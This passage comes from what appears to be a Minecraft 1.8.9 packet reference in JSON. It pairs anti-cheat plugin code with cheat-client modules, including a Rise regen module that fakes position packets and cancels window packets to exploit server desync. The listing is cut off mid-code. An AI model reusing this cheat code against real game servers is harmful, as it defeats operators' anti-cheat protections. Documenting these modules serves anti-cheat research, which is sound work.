       "how_it_works": "PacketSubscription on outbound GAME_STATE_CHANGE with the GameStateChangeReader. If the reason is CHANGE_GAME_MODE, the value is mapped through GameStateChangeReader.GameState and stored as a pending gamemode on AbilityMetadata; the active gamemode only flips on the next tick feedback, which keeps ability state aligned with the client's processing order. The rest of the module consumes that metadata for the critical-flying-disallow mitigation.",
       "detects": "Fly and movement cheats that exploit the one-tick window between a gamemode change and the client applying it, plus stale flight permissions after a mode switch.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/module/tracker/player/AbilityTracker.java =====\npackage de.jpx3.intave.module.tracker.player;\n\nimport com.comphenix.protocol.events.PacketEvent;\nimport de.jpx3.intave.IntavePlugin;\nimport de.jpx3.intave.executor.Synchronizer;\nimport de.jpx3.intave.module.Module;\nimport de.jpx3.intave.module.Modules;\nimport de.jpx3.intave.module.linker.packet.ListenerPriority;\nimport de.jpx3.intave.module.linker.packet.PacketId;\nimport de.jpx3.intave.module.linker.packet.PacketSubscription;\nimport de.jpx3.intave.packet.reader.AbilityInReader;\nimport de.jpx3.intave.packet.reader.AbilityOutReader;\nimport de.jpx3.intave.packet.reader.EntityReader;\nimport de.jpx3.intave.packet.reader.GameStateChangeReader;\nimport de.jpx3.intave.share.Motion;\nimport de.jpx3.intave.user.MessageChannel;\nimport de.jpx3.intave.user.User;\nimport de.jpx3.intave.user.meta.AbilityMetadata;\nimport de.jpx3.intave.user.meta.MetadataBundle;\nimport de.jpx3.intave.user.meta.MovementMetadata;\nimport org.bukkit.ChatColor;\nimport org.bukkit.Location;\nimport org.bukkit.entity.Player;\n\nimport static de.jpx3.intave.module.linker.packet.PacketId.Client.*;\nimport static de.jpx3.intave.module.linker.packet.PacketId.Server.*;\nimport static de.jpx3.intave.packet.reader.GameStateChangeReader.GameState.CHANGE_GAME_MODE;\n\npublic final class AbilityTracker extends Module {\n  @PacketSubscription(packetsOut = CAMERA)\n  public void receiveCamera(User user, EntityReader reader) {\n    int entityId = reader.entityId();\n    user.tickFeedback(() -> synchronizedCameraUpdate(user, entityId));\n  }\n\n  private void synchronizedCameraUpdate(User user, int entityId) {\n    AbilityMetadata abilityData = user.meta().abilities();\n    abilityData.hasViewEntity = entityId != user.player().getEntityId();\n  }\n\n  @PacketSubscription(\n    priority = ListenerPriority.HIGH,\n    packetsIn = {ABILITIES_IN}\n  )\n  public void receiveAbilities(User user, AbilityInReader reader) {\n    AbilityMetadata abilityData = user.meta().abilities();\n    MovementMetadata movementData = user.meta().movement();\n    boolean flying = reader.requestedFlying();\n    if (abilityData.allowFlying()) {\n      if (flying) {\n        abilityData.setFlying(true);\n      } else {\n        abilityData.disabledFlying = true;\n      }\n    }\n  }\n\n  @PacketSubscription(\n    priority = ListenerPriority.HIGH,\n    packetsOut = {\n      ABILITIES_OUT\n    }\n  )\n  public void sentAbilities(User user, AbilityOutReader reader, PacketEvent event) {\n    MetadataBundle meta = user.meta();\n    MovementMetadata movement = meta.movement();\n    AbilityMetadata abilityData = meta.abilities();\n    float flyingSpeed = reader.flyingSpeed();\n    float walkingSpeed = reader.walkingSpeed();\n    boolean allowedFlight = reader.flyingAllowed();\n    boolean critical = abilityData.allowFlying() && !allowedFlight && movement.criticalTeleportRateLimiter.tryAcquire();\n    if (critical /*&& movement.lastTeleport < 20*/) {\n      // Teleport again to force transaction synchronization\n      Synchronizer.synchronizeDelayed(() -> {\n        MovementMetadata moovement = user.meta().movement();\n        if (moovement.criticalFlyingDisallowStacks > 0) {\n          Location position = moovement.verifiedLocation().clone();\n          Player player = user.player();\n          position.setWorld(player.getWorld());\n          player.teleport(position);\n          moovement.criticalFlyingBlockMovementStacks++;\n          if (user.receives(MessageChannel.DEBUG_TELEPORT)) {\n            player.sendMessage(IntavePlugin.prefix() + \"Teleport to \" + player.getLocation().getBlockX() + \" \" + player.getLocation().getBlockY() + \" \" + player.getLocation().getBlockZ() + \" \" + \" as \" + ChatColor.RED + \" not responding to critical flight disallow\");\n          }\n        }\n      }, 20);\n    }\n    if (critical) {\n      if (movement.criticalFlyingDisallowStacks++ == 0) {\n        movement.criticalEnterPosX = movement.verifiedLastPositionX;\n        movement.criticalEnterPosY = movement.verifiedLastPositionY;\n        movement.criticalEnterPosZ = movement.verifiedLastPositionZ;\n      }\n    }\n    user.packetTickFeedback(event, () -> {\n      abilityData.setWalkSpeed(walkingSpeed);\n      abilityData.setFlySpeed(flyingSpeed);\n      abilityData.setAllowFlying(allowedFlight);\n      if (critical) {\n        if (movement.criticalFlyingDisallowStacks > 0) {\n          movement.criticalFlyingDisallowStacks--;\n        }\n        movement.criticalFlyingBlockMovementStacks = 0;\n      }\n    });\n  }\n\n  @PacketSubscription(\n    priority = ListenerPriority.HIGH,\n    packetsIn = {FLYING, PacketId.Client.POSITION, LOOK, POSITION_LOOK}\n  )\n  public void incomingFlyingUpdate(User user, Player player) {\n    MovementMetadata movementData = user.meta().movement();\n    if (movementData.criticalFlyingDisallowStacks > 0 &&\n      !movementData.criticalFlyingDisallowWasTeleported\n    ) {\n      double deltaX = movementData.verifiedLastPositionX - movementData.criticalEnterPosX;\n      double deltaY = movementData.verifiedLastPositionY - movementData.criticalEnterPosY;\n      double deltaZ = movementData.verifiedLastPositionZ - movementData.criticalEnterPosZ;\n      double distance = Math.sqrt(deltaX * deltaX + deltaY * deltaY + deltaZ * deltaZ);\n      if (distance > 3 && movementData.criticalTeleportRateLimiter.tryAcquire()) {\n        Modules.mitigate().movement().emulationSetBack(player, Motion.newEmpty(), 3, 2, false);\n        if (user.receives(MessageChannel.DEBUG_TELEPORT)) {\n          player.sendMessage(IntavePlugin.prefix() + \"Teleport to \" + player.getLocation().getBlockX() + \" \" + player.getLocation().getBlockY() + \" \" + player.getLocation().getBlockZ() + \" \" + \" for \" + ChatColor.RED + \" critical flying disallow protection\");\n        }\n        movementData.criticalFlyingDisallowStacks = 0;\n      }\n    } else if (movementData.criticalFlyingBlockMovementStacks > 0 && movementData.criticalTeleportRateLimiter.tryAcquire()) {\n      Synchronizer.synchronize(() -> {\n        player.teleport(player.getLocation());\n      });\n      if (user.receives(MessageChannel.DEBUG_TELEPORT)) {\n        player.sendMessage(IntavePlugin.prefix() + \"Teleport to \" + player.getLocation().getBlockX() + \" \" + player.getLocation().getBlockY() + \" \" + player.getLocation().getBlockZ() + \" \" + \" for \" + ChatColor.RED + \" critical flying disallow protection (movement block)\");\n      }\n    }\n  }\n\n  @PacketSubscription(\n    packetsOut = PacketId.Server.POSITION\n  )\n  public void outgoingPositionUpdate(User user) {\n    MovementMetadata movementData = user.meta().movement();\n    movementData.criticalFlyingDisallowWasTeleported = movementData.criticalFlyingDisallowStacks == 1;\n  }\n\n  @PacketSubscription(\n    priority = ListenerPriority.NORMAL,\n    packetsOut = {\n      GAME_STATE_CHANGE\n    }\n  )\n  public void outgoingGameModeUpdate(\n    User user, GameStateChangeReader reader\n  ) {\n    if (reader.type() != CHANGE_GAME_MODE) {\n      return;\n    }\n    GameMode gameMode = gameModeOf(reader.valueAsInt());\n    AbilityMetadata abilityData = user.meta().abilities();\n    abilityData.setPendingGameMode(gameMode);\n    user.tickFeedback(() -> abilityData.setGameMode(gameMode));\n  }\n\n  private GameMode gameModeOf(int id) {\n    for (GameMode value : GameMode.values()) {\n      if (value.id == id) {\n        return value;\n      }\n    }\n    throw new IllegalStateException(\"Unable to resolve gamemode with id \" + id);\n  }\n\n  public enum GameMode {\n    NOT_SET(-1),\n    SURVIVAL(0),\n    CREATIVE(1),\n    ADVENTURE(2),\n    SPECTATOR(3);\n\n    private final int id;\n\n    GameMode(int id) {\n      this.id = id;\n    }\n\n    public static GameMode fromBukkit(org.bukkit.GameMode gameMode) {\n      switch (gameMode) {\n        case SURVIVAL:\n          return SURVIVAL;\n        case CREATIVE:\n          return CREATIVE;\n        case ADVENTURE:\n          return ADVENTURE;\n        case SPECTATOR:\n          return SPECTATOR;\n        default:\n          throw new IllegalArgumentException(\"Unable to resolve game mode \" + gameMode);\n      }\n    }\n\n    public int id() {\n      return id;\n    }\n  }\n}\n// NOTE (AI): The outgoingGameModeUpdate subscription is the S2B hook. The pending gamemode flips to active only on tick feedback so ability checks never run against a gamemode the client has not applied yet.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/module/tracker/player/AbilityTracker.java",
       "variations": "GameStateChangeReader (src/main/java/de/jpx3/intave/packet/reader/GameStateChangeReader.java) resolves the reason index to the GameState enum and exposes the raw value; PacketReaders.java registers it under PacketId.Server.GAME_STATE_CHANGE."
      },
      {
       "name": "GameStateChange wrapper (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Register the outbound game-state packet in Artemis' packet abstraction so checks can listen to it.",
       "how_it_works": "The packet API declares PacketPlayServerGameStateChange and PacketRepository maps SERVER_PLAY + 36 to it. This is framework registration only; no check in the corpus consumes the wrapper.",
       "detects": "Nothing by itself; it exists so other Artemis checks can hook the packet.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.packet.api/src/main/java/ac/artemis/packet/wrapper/server/PacketPlayServerGameStateChange.java =====\npackage ac.artemis.packet.wrapper.server;\n\nimport ac.artemis.packet.wrapper.PacketServer;\n\npublic interface PacketPlayServerGameStateChange extends PacketServer {\n}\n// NOTE (AI): Six-line interface, registration only. Artemis maps SERVER_PLAY + 36 to this class in PacketRepository; no check in the corpus consumes it.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.packet.api/src/main/java/ac/artemis/packet/wrapper/server/PacketPlayServerGameStateChange.java",
       "variations": "Negativity (Elikill58-Negativity) lists the packet as GAME_STATE_CHANGE in its PacketType registry but has no handler on it."
      }
     ]
    }
   },
   "wiki_notes": [
    "Reason 0 signals that no valid respawn block is available, reason 6 is sent when a player is struck by an arrow, and rain and thunder levels range from 0 to 1 with thunder rendering requiring active rain.",
    "MCP 1.8.9 S2BPacketChangeGameState implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleChangeGameState; wire serde is readPacketData/writePacketData via readFloat, readUnsignedByte.",
    "1.8.9 callers: EntityGuardian.apply sends new S2BPacketChangeGameState (line 451) +5 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/monster/EntityGuardian.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S2BPacketChangeGameState/",
   "mcp_path": "net/minecraft/network/play/server/S2BPacketChangeGameState.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP",
    "ServerConfigurationManager",
    "WorldServer"
   ]
  },
  {
   "id": "S2CPacketSpawnGlobalEntity",
   "hex": "0x2C",
   "dec": 44,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Spawn Global Entity",
   "desc": "Spawns a global entity visible to all players (lightning bolt).",
   "tags": [
    "entity",
    "spawn",
    "lightning"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": "Entity ID"
    },
    {
     "name": "x/y/z",
     "type": "fixed-point int",
     "desc": "Position × 32"
    },
    {
     "name": "type",
     "type": "byte",
     "desc": "Entity type (1=lightning)"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ],
    [
     "X",
     "Int",
     "x*32"
    ],
    [
     "Y",
     "Int",
     "y*32"
    ],
    [
     "Z",
     "Int",
     "z*32"
    ],
    [
     "Type",
     "byte",
     "1=lightning"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleSpawnGlobalEntity()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Spawns a globally visible entity, in 1.8.9 exclusively the lightning bolt. The server broadcasts it to every player within 512 blocks of the strike (WorldServer.addWeatherEffect via sendToAllNear). The client handler converts the x32 fixed-point coordinates and, when the type byte is 1, instantiates an EntityLightningBolt in the client world. Because the entity is server-created and broadcast, it is the only lightning representation the client ever sees."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleSpawnGlobalEntity divides each coordinate by 32.0D and builds an EntityLightningBolt only when the type byte equals 1; any other type yields a null entity and is dropped. The bolt is then added to the client world, which drives its ambient light flash and thunder sound. Server-side the packet constructor derives entityId, coordinates and type from the Entity argument passed in by WorldServer."
     },
     {
      "h": "Why clients touch it",
      "p": "Two module-grade consumers in the corpus. Rise 6.1.30 and 6.2.4 ship LightningTracker, an exploit-category module that prints the strike coordinates and distance to chat on every type-1 packet. LiquidSense Dev ships LightningCheck, a world-category module with the same read pattern: it divides the fixed-point coordinates back to blocks and posts them to chat, while also storing them in static x/y/z fields that other modules can read. Both are informational, not ESP. The remaining seven client dirs (Memeware, Nekoware, Rise 5.99, Sigma, Spicy, Tenacity, November Recode 2.0) reference the packet only through vanilla NetHandlerPlayClient."
     },
     {
      "h": "Exploit surface",
      "p": "The packet is a broadcast with a server-chosen entityId and position, so a malicious server can spam it to fake lightning at arbitrary coordinates; there is no client-side validation beyond the type check. The 512-block broadcast radius means a strike far outside the client's render distance still spawns an entity. No client in the corpus abuses this for teleport hacks or lightning-based exploits, and none uses it for anti-cheat purposes."
     }
    ],
    "overview": "The lightning broadcast packet. Rise 6.x LightningTracker and LiquidSense Dev LightningCheck both print strike coordinates to chat on type-1 packets; LiquidSense additionally caches the coordinates in static fields. No ESP, no weather control, no exploit use: the 10 clients confirm this packet is near-invisible to module authors.",
    "server_handling": "WorldServer.addWeatherEffect calls ConfigurationManager.sendToAllNear with a 512.0D radius on the strike position, same dimension, constructing S2CPacketSpawnGlobalEntity from the EntityLightningBolt. The packet's constructor copies entityId, x*32, y*32, z*32 and type (1 for lightning) from the entity. NetHandlerPlayClient only materializes the bolt when type == 1, ignoring the entityId for lookup since the client creates the entity fresh.",
    "protocol_notes": "Encoding: VarInt entityId, int x*32, int y*32, int z*32, byte type. Coordinates are fixed-point at 1/32 block resolution, finer than S29's 1/8. The type byte is the only discriminator; in 1.8.9 only 1 (lightning) is ever sent. The packet predates the generic Packet<T> signature in the older clients (raw Packet with double dispatch) while Rise 6.x uses Packet<INetHandlerPlayClient>.",
    "anticheat_landscape": "No anti-cheat touches this packet. Lightning is ambient weather; there is no cheat surface to measure. The only observable abuse would be server-side strike spam to distract or desync clients, which no module in the corpus defends against. The 512-block radius is worth noting for anyone building lightning-based radar: strikes beyond render distance still arrive.",
    "modules": [
     {
      "name": "LightningTracker",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Print a chat message with the coordinates and distance of every lightning strike.",
      "how_it_works": "A PacketReceiveEvent listener. For each S2C it divides the x32 coordinates back to blocks, rounds to two decimals, and when the type byte is 1 calls ChatUtil.display with the position and the player's distance to the strike. It is an exploit-category module but performs no world manipulation.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/LightningTracker.java =====\npackage com.alan.clients.module.impl.exploit;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.module.Module;\nimport com.alan.clients.module.api.Category;\nimport com.alan.clients.module.api.ModuleInfo;\nimport com.alan.clients.util.chat.ChatUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S2CPacketSpawnGlobalEntity;\n\n@ModuleInfo(aliases = {\"module.combat.lightningtracker.name\"}, description = \"module.exploit.lightningtracker.description\", category = Category.EXPLOIT)\npublic class LightningTracker extends Module {\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        final Packet<?> p = event.getPacket();\n\n        if (p instanceof S2CPacketSpawnGlobalEntity) {\n            final S2CPacketSpawnGlobalEntity wrapper = (S2CPacketSpawnGlobalEntity) p;\n            final int x = (int) (Math.round((wrapper.func_149051_d() / 32.0D) * 100) / 100.0F);\n            final int y = (int) (Math.round((wrapper.func_149050_e() / 32.0D) * 100) / 100.0F);\n            final int z = (int) (Math.round((wrapper.func_149049_f() / 32.0D) * 100) / 100.0F);\n\n            if (wrapper.func_149053_g() == 1) {\n                ChatUtil.display(\"Lightning struck at \" + x + \", \" + y + \", \" + z + \" (\" + (int) mc.thePlayer.getDistance(x, y, z) + \" blocks away)\");\n            }\n        }\n    };\n}\n\n// NOTE (AI): The rounding (Math.round(v / 32.0 * 100) / 100.0) recovers block coordinates from the fixed-point encoding. The type guard func_149053_g() == 1 restricts output to real lightning.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/LightningTracker.java",
      "vanilla_hook": "PacketReceiveEvent.",
      "anti_cheat_notes": "Passive and read-only; nothing is sent or cancelled. No server can detect it.",
      "variations": "Identical file in Rise 6.1.30. Rise 5.99 has no equivalent module, and no other client in the corpus references this packet outside vanilla code."
     },
     {
      "name": "LightningCheck",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Report lightning strikes to chat and expose their coordinates in static fields for other modules.",
      "how_it_works": "An @EventTarget onPacket handler on the LiquidBounce PacketEvent bus. For each S2CPacketSpawnGlobalEntity whose type byte is 1 it divides the x32 fixed-point coordinates by 32.0D, stores them in public static x/y/z fields, and prints a prefixed chat line with the strike position. The unused C07PacketPlayerDigging import is dead weight carried over from a copy-paste skeleton.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, me/AquaVit/liquidSense/modules/world/LightningCheck.java =====\npackage me.AquaVit.liquidSense.modules.world;\n\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.PacketEvent;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.utils.ClientUtils;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.server.S2CPacketSpawnGlobalEntity;\nimport net.minecraft.util.ChatComponentText;\n\n@ModuleInfo(name = \"LightningCheck\", description = \"Lightning x y z\", category = ModuleCategory.WORLD)\npublic class LightningCheck extends Module {\n\n    public static int x;\n    public static int y;\n    public static int z;\n\n    @EventTarget\n    public void onPacket(PacketEvent event) {\n        final Packet<?> packet = event.getPacket();\n        if(packet instanceof S2CPacketSpawnGlobalEntity) {\n            S2CPacketSpawnGlobalEntity sb = (S2CPacketSpawnGlobalEntity)packet;\n            if(sb.func_149053_g() == 1) {\n                x = (int) ((double) sb.func_149051_d() / 32.0D);\n                y = (int) ((double) sb.func_149050_e() / 32.0D);\n                z = (int) ((double) sb.func_149049_f() / 32.0D);\n                mc.thePlayer.addChatMessage(new ChatComponentText(\"§8[§9§l\" + LiquidBounce.CLIENT_NAME+ \"§8] §3\"+ \"Found Lightning X:\" + x + \" -Y:\" + y + \" -Z:\" + z));\n            }\n        }\n    }\n\n\n}\n// NOTE (AI): The static x/y/z fields are the module's real payload: they let other modules read the last strike position without hooking the packet themselves. The chat line is a side effect of the same handler.",
      "code_source": "LiquidSense Dev, me/AquaVit/liquidSense/modules/world/LightningCheck.java",
      "vanilla_hook": "LiquidBounce PacketEvent (packet event bus).",
      "anti_cheat_notes": "Read-only: nothing is sent or cancelled, so the module is undetectable server-side. Any abuse would live downstream of the static coordinate cache, which other modules consume.",
      "variations": "Rise's LightningTracker computes the player's distance to the strike and formats a different chat line; LiquidSense prints raw coordinates and keeps the static cache. No other client in the corpus reads S2C."
     }
    ],
    "general_hooks": "Two consumers: Rise 6.x PacketReceiveEvent listener and LiquidSense Dev PacketEvent listener, both read-only.",
    "client_variations": "Rise 6.1.30 and 6.2.4 ship byte-identical LightningTracker files. LiquidSense Dev's LightningCheck uses the LiquidBounce event bus (@EventTarget onPacket) and static coordinate fields. The other seven clients touch the packet only in net/minecraft vanilla sources (NetHandlerPlayClient, EnumConnectionState, WorldServer).",
    "related": [
     "S0EPacketSpawnObject",
     "S2BPacketChangeGameState",
     "S29PacketSoundEffect"
    ],
    "anticheat": {
     "overview": "No anticheat in the 50-repo corpus runs a check on the global-entity (lightning) packet. The only genuine packet references are framework registrations: Artemis wraps PacketPlayOutSpawnEntityWeather as GPacketPlayServerSpawnEntityWeather and registers it at SERVER_PLAY + 69, and Negativity lists the packet in its PacketType enum. Every other corpus hit is keyword noise from the search term Lightning: strikeLightningEffect ban-punishment visuals in PeyangSuperbAntiCheat KickUtil, TruthfulAC Check and SafeguardAC ViolationHandler, and lightning-rod block-shape comments in NoCheatPlus. Lightning is ambient server weather with no client-trust signal, so nothing measures it.",
     "checks": []
    }
   },
   "wiki_notes": [
    "Clientbound 0x2C: VarInt entityId, byte type, then X Y Z ints at times 32.",
    "Type is always 1 in 1.8.9, meaning lightning bolt; other types are dropped.",
    "Broadcast to players within 512 blocks of the strike position.",
    "MCP 1.8.9 S2CPacketSpawnGlobalEntity implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleSpawnGlobalEntity; wire serde is readPacketData/writePacketData via readByte, readInt, readVarIntFromBuffer.",
    "1.8.9 callers: WorldServer.addWeatherEffect sends new S2CPacketSpawnGlobalEntity (line 984): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/world/WorldServer.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S2CPacketSpawnGlobalEntity/",
   "mcp_path": "net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity.java",
   "group": "play-client",
   "logic_classes": [
    "WorldServer"
   ]
  },
  {
   "id": "S2DPacketOpenWindow",
   "hex": "0x2D",
   "dec": 45,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Open Window",
   "desc": "Opens an inventory GUI window (chest, crafting table, furnace, enchantment table, etc.) with window ID, type, title, and slot count.",
   "tags": [
    "inventory",
    "container"
   ],
   "fields": [
    {
     "name": "windowId",
     "type": "unsigned byte",
     "desc": "Server-assigned window ID"
    },
    {
     "name": "inventoryType",
     "type": "String",
     "desc": "GUI type identifier (minecraft:chest, minecraft:crafting_table, etc.)"
    },
    {
     "name": "windowTitle",
     "type": "IChatComponent (JSON)",
     "desc": "Window title displayed in GUI"
    },
    {
     "name": "slotCount",
     "type": "unsigned byte",
     "desc": "Number of slots in the window"
    },
    {
     "name": "entityId",
     "type": "int",
     "desc": "Entity ID for EntityHorse type (only present for horse GUIs)"
    }
   ],
   "encoding": [
    [
     "Window ID",
     "Unsigned Byte",
     ""
    ],
    [
     "Inventory Type",
     "String",
     "minecraft:chest, etc."
    ],
    [
     "Window Title",
     "Chat Component (JSON)",
     "Displayed as window title"
    ],
    [
     "Slot Count",
     "Unsigned Byte",
     ""
    ],
    [
     "Entity ID (if horse)",
     "int",
     "Only for EntityHorse type"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleOpenWindow()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Inventory types: minecraft:chest, crafting_table, furnace, dispenser, enchanting_table, brewing_stand, villager, beacon, anvil, hopper, dropper, EntityHorse. RektSky B5 ChestStealer intercepts this packet for silent chest handling. It cancels the vanilla open, stores the window data, and manages the chest entirely via packet-level manipulation.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Opens an inventory window on the client. The server assigns a windowId (incrementing per player, wrapping at 256), picks a GUI type string, sends the title as a chat component, the slot count, and for EntityHorse windows the horse's entityId. The client switches on the type string: minecraft:container becomes a chest GUI, minecraft:villager a trade GUI, EntityHorse a horse inventory, anything else a LocalBlockIntercommunication GUI. The windowId must then be echoed back on every C0E click and C0D close."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleOpenWindow matches the type string and calls the matching display method (displayGUIChest, displayVillagerTradeGui, displayGUIHorse, displayGui), then stamps the windowId onto the player's openContainer. The horse branch looks up the entity by id and silently does nothing if the entity is missing. Server-side, EntityPlayerMP.displayGUIChest and openGui build the packet with the player's currentWindowId, which increments on every open."
     },
     {
      "h": "Why clients touch it",
      "p": "Two Rise 6.x modules, both cancelling the packet for combat-adjacent reasons. WorldGuardRegen suppresses S2D while its regen burst is active (ticks <= 1) so a server-initiated window cannot interrupt the position-desync regen sequence. GodMode cancels every S2D unconditionally, which keeps the server's window state desynced from the client as part of the godmode attack-desync. The context's ChestStealer/AutoArmor/ServerCrasher open-window usage does not exist in this corpus; the 8 clients contain no inventory-stealing S2D consumer."
     },
     {
      "h": "Exploit surface",
      "p": "The windowId protocol is a state machine: the client must mirror every S2D with an open container and echo the id in later clicks. Cancelling S2D (Rise 6.x) leaves the server believing a window is open while the client never shows it, which is exactly the desync GodMode and WorldGuardRegen exploit. Server-side open-window spam (ServerCrasher style) is a client DoS: each S2D forces a GUI construction, and rapid-fire opens desync the container state. The EntityHorse branch's entity lookup is also a soft spot: a stale id silently drops the window."
     }
    ],
    "overview": "The window-open packet, and the desync hinge for two Rise 6.x combat modules: WorldGuardRegen suppresses it during regen bursts, GodMode cancels it permanently to keep the server-client container state split. No chest-stealing or shop-detection module exists in the corpus; the windowId echo contract is what makes cancellation useful.",
    "server_handling": "EntityPlayerMP.displayGUIChest/openGui increments currentWindowId, opens the container server-side, and sends S2D with the id, GUI type, display name, and slot count (plus entityId for horses). The client must echo the windowId in C0E clicks and C0D closes or the server container stays open with stale state. Vanilla performs no validation that the client actually opened the window, which is the desync window both Rise 6.x modules rely on.",
    "protocol_notes": "Encoding: unsigned byte windowId, String guiId (minecraft:container, minecraft:villager, EntityHorse, or a block interaction id), IChatComponent title, unsigned byte slotCount, then int entityId only when guiId is EntityHorse. windowId wraps at 256 and the client stamps it on openContainer.windowId. The type string is the discriminator; there is no numeric window-type enum on the wire in 1.8.9.",
    "anticheat_landscape": "Anti-cheats track window state through the C0E/C0D echo trail, not through S2D itself. The Rise 6.x cancels create a server-side phantom container: the server keeps sending window updates (S2F, S30) to a window the client never opened, which is detectable if an anti-cheat correlates window items with click packets. The trade-off is why WorldGuardRegen only cancels during the short regen burst (ticks <= 1) while GodMode accepts the permanent desync.",
    "modules": [
     {
      "name": "WorldGuardRegen (window suppress)",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Prevent a server-initiated window from interrupting the regen position-desync sequence.",
      "how_it_works": "A Regen mode. Its PreMotionEvent handler drops the player y by 0.05 and holds yaw/pitch while health is below the threshold; the PacketSendEvent handler wraps attacks in a C04-teleport/attack/C04-return sandwich. The PacketReceiveEvent handler cancels any S2D while ticks <= 1, i.e. during the active regen burst, so the server cannot open a container mid-sequence and break the state machine.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/regen/WorldGuardRegen.java =====\npackage com.alan.clients.module.impl.combat.regen;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.input.MoveInputEvent;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.motion.StrafeEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.module.impl.combat.Regen;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.value.Mode;\nimport com.alan.clients.value.impl.NumberValue;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C02PacketUseEntity;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.server.S2DPacketOpenWindow;\n\npublic final class WorldGuardRegen extends Mode<Regen> {\n\n    private final NumberValue health = new NumberValue(\"Minimum Health\", this, 15, 1, 20, 1);\n\n    private int ticks;\n\n    private float yaw;\n    private float pitch;\n\n    public WorldGuardRegen(String name, Regen parent) {\n        super(name, parent);\n    }\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n        if (mc.thePlayer.onGround && mc.thePlayer.getHealth() < this.health.getValue().floatValue()) {\n            if (ticks <= 1) {\n                event.setPosY(event.getPosY() - 0.05);\n                event.setYaw(yaw);\n                event.setPitch(pitch);\n                ticks++;\n            }\n        } else {\n            yaw = event.getYaw();\n            pitch = event.getPitch();\n            ticks = 0;\n        }\n    };\n\n    @EventLink\n    public final Listener<PacketSendEvent> onPacketSend = event -> {\n        final Packet<?> p = event.getPacket();\n\n        if (p instanceof C02PacketUseEntity && mc.thePlayer.onGround && mc.thePlayer.getHealth() < this.health.getValue().floatValue() && ticks <= 1) {\n            final C02PacketUseEntity wrapper = (C02PacketUseEntity) p;\n\n            if (wrapper.getAction().equals(C02PacketUseEntity.Action.ATTACK)) {\n                event.setCancelled();\n\n                PacketUtil.sendNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n                PacketUtil.sendNoEvent(wrapper);\n                PacketUtil.sendNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 0.05, mc.thePlayer.posZ, false));\n            }\n        }\n    };\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        if (event.getPacket() instanceof S2DPacketOpenWindow && ticks <= 1) {\n            event.setCancelled();\n        }\n    };\n\n    @EventLink\n    public final Listener<StrafeEvent> onStrafe = event -> {\n        if (mc.thePlayer.onGround && mc.thePlayer.getHealth() < this.health.getValue().floatValue() && ticks <= 1) {\n            event.setSpeed(0);\n        }\n    };\n\n    @EventLink\n    public final Listener<MoveInputEvent> onMove = event -> {\n        if (mc.thePlayer.onGround && 